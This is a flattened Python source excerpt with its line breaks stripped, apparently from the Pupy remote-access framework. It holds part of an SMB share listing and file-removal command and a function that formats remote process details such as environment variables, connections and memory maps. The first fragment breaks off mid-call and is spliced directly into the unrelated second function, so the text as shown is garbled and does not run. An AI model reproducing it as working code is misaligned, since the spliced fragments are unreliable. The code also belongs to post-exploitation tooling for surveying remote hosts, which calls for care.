return if not share: args.host = host self.shares(args) return if not path or path == '.' or path.endswith('\\'): path += '*' ft = self.get_ft(args, host) if not ft.ok: self.error(ft.error) return for name, directory, size, ctime in obtain(ft.ls(share, path)): if type(name) != unicode: if args.codepage: name = name.decode(args.codepage, errors='replace') else: name = name.decode('utf-8', errors='replace') self.log(u'%crw-rw-rw- %10d %s %s' % ('d' if directory > 0 else '-', size, ctime, name)) if not ft.ok: self.error(ft.error) def rm(self, args): try: host, share, path = self.parse_netloc(args.dst,
def print_psinfo(fout, pupyps, data, colinfo, width=80, sections=[]): families = {int(k): v for k, v in obtain(pupyps.families).iteritems()} socktypes = {int(k): v for k, v in obtain(pupyps.socktypes).iteritems()} keys = ('id', 'key', 'PROPERTY', 'VAR') sorter = lambda x, y: -1 if (x in keys and y not in keys) else (1 if ( y in keys and not x in keys) else cmp(x, y)) for pid, info in data.iteritems(): if sections is not None: fout.write('\n --- PID: {} ---- \n\n'.format(pid)) infosecs = {'general': []} for prop, value in info.iteritems(): if type(value) not in (list, dict): infosecs['general'].append({ 'PROPERTY': prop, 'VALUE': '{:3}%'.format(int(value)) if ('_percent' in prop) else value }) else: if prop == 'environ': maxvar = max(len(x) for x in value.iterkeys()) maxval = max(len(x) for x in value.itervalues()) trunkval = (width - maxvar - 4) if width else None infosecs[prop] = [{ 'VAR': x, 'VALUE': y[:trunkval] } for x, y in value.iteritems()] continue elif prop == 'connections': newvalue = [] for connection in value: newvalue.append({ 'status': connection['status'], 'raddr': ':'.join([str(x) for x in connection['raddr']]), 'laddr': ':'.join([str(x) for x in connection['laddr']]), 'family': families[connection['family']], 'type': socktypes[connection['type']], }) infosecs[prop] = newvalue continue elif prop == 'memory_maps': filtered = ('path', 'rss', 'size') else: filtered = None infosecs[prop] = [{ k: v for k, v in item.iteritems() if filtered is None or k in filtered } for item in (value if type(value) == list else [value])] if sections: for section in sections: section = section.lower() if section in infosecs: labels = sorted(infosecs[section][0], cmp=sorter) fout.write('{ ' + section.upper() + ' }\n') fout.write( PupyCmd.table_format(infosecs[section], wl=labels) + '\n') else: for section, table in infosecs.iteritems(): labels = sorted(table[0], cmp=sorter) fout.write('{ ' + section.upper() + ' }\n') fout.write(PupyCmd.table_format(table, wl=labels) + '\n') fout.write(' --- PID: {} - END --- \n'.format(pid)) else: outcols = ['pid'] + [ x for x in ('cpu_percent', 'memory_percent', 'username', 'exe', 'name', 'cmdline') if x in colinfo ] info['pid'] = pid columns = gen_columns(info, colinfo) fout.write(gen_output_line(columns, outcols, info, width) + '\n')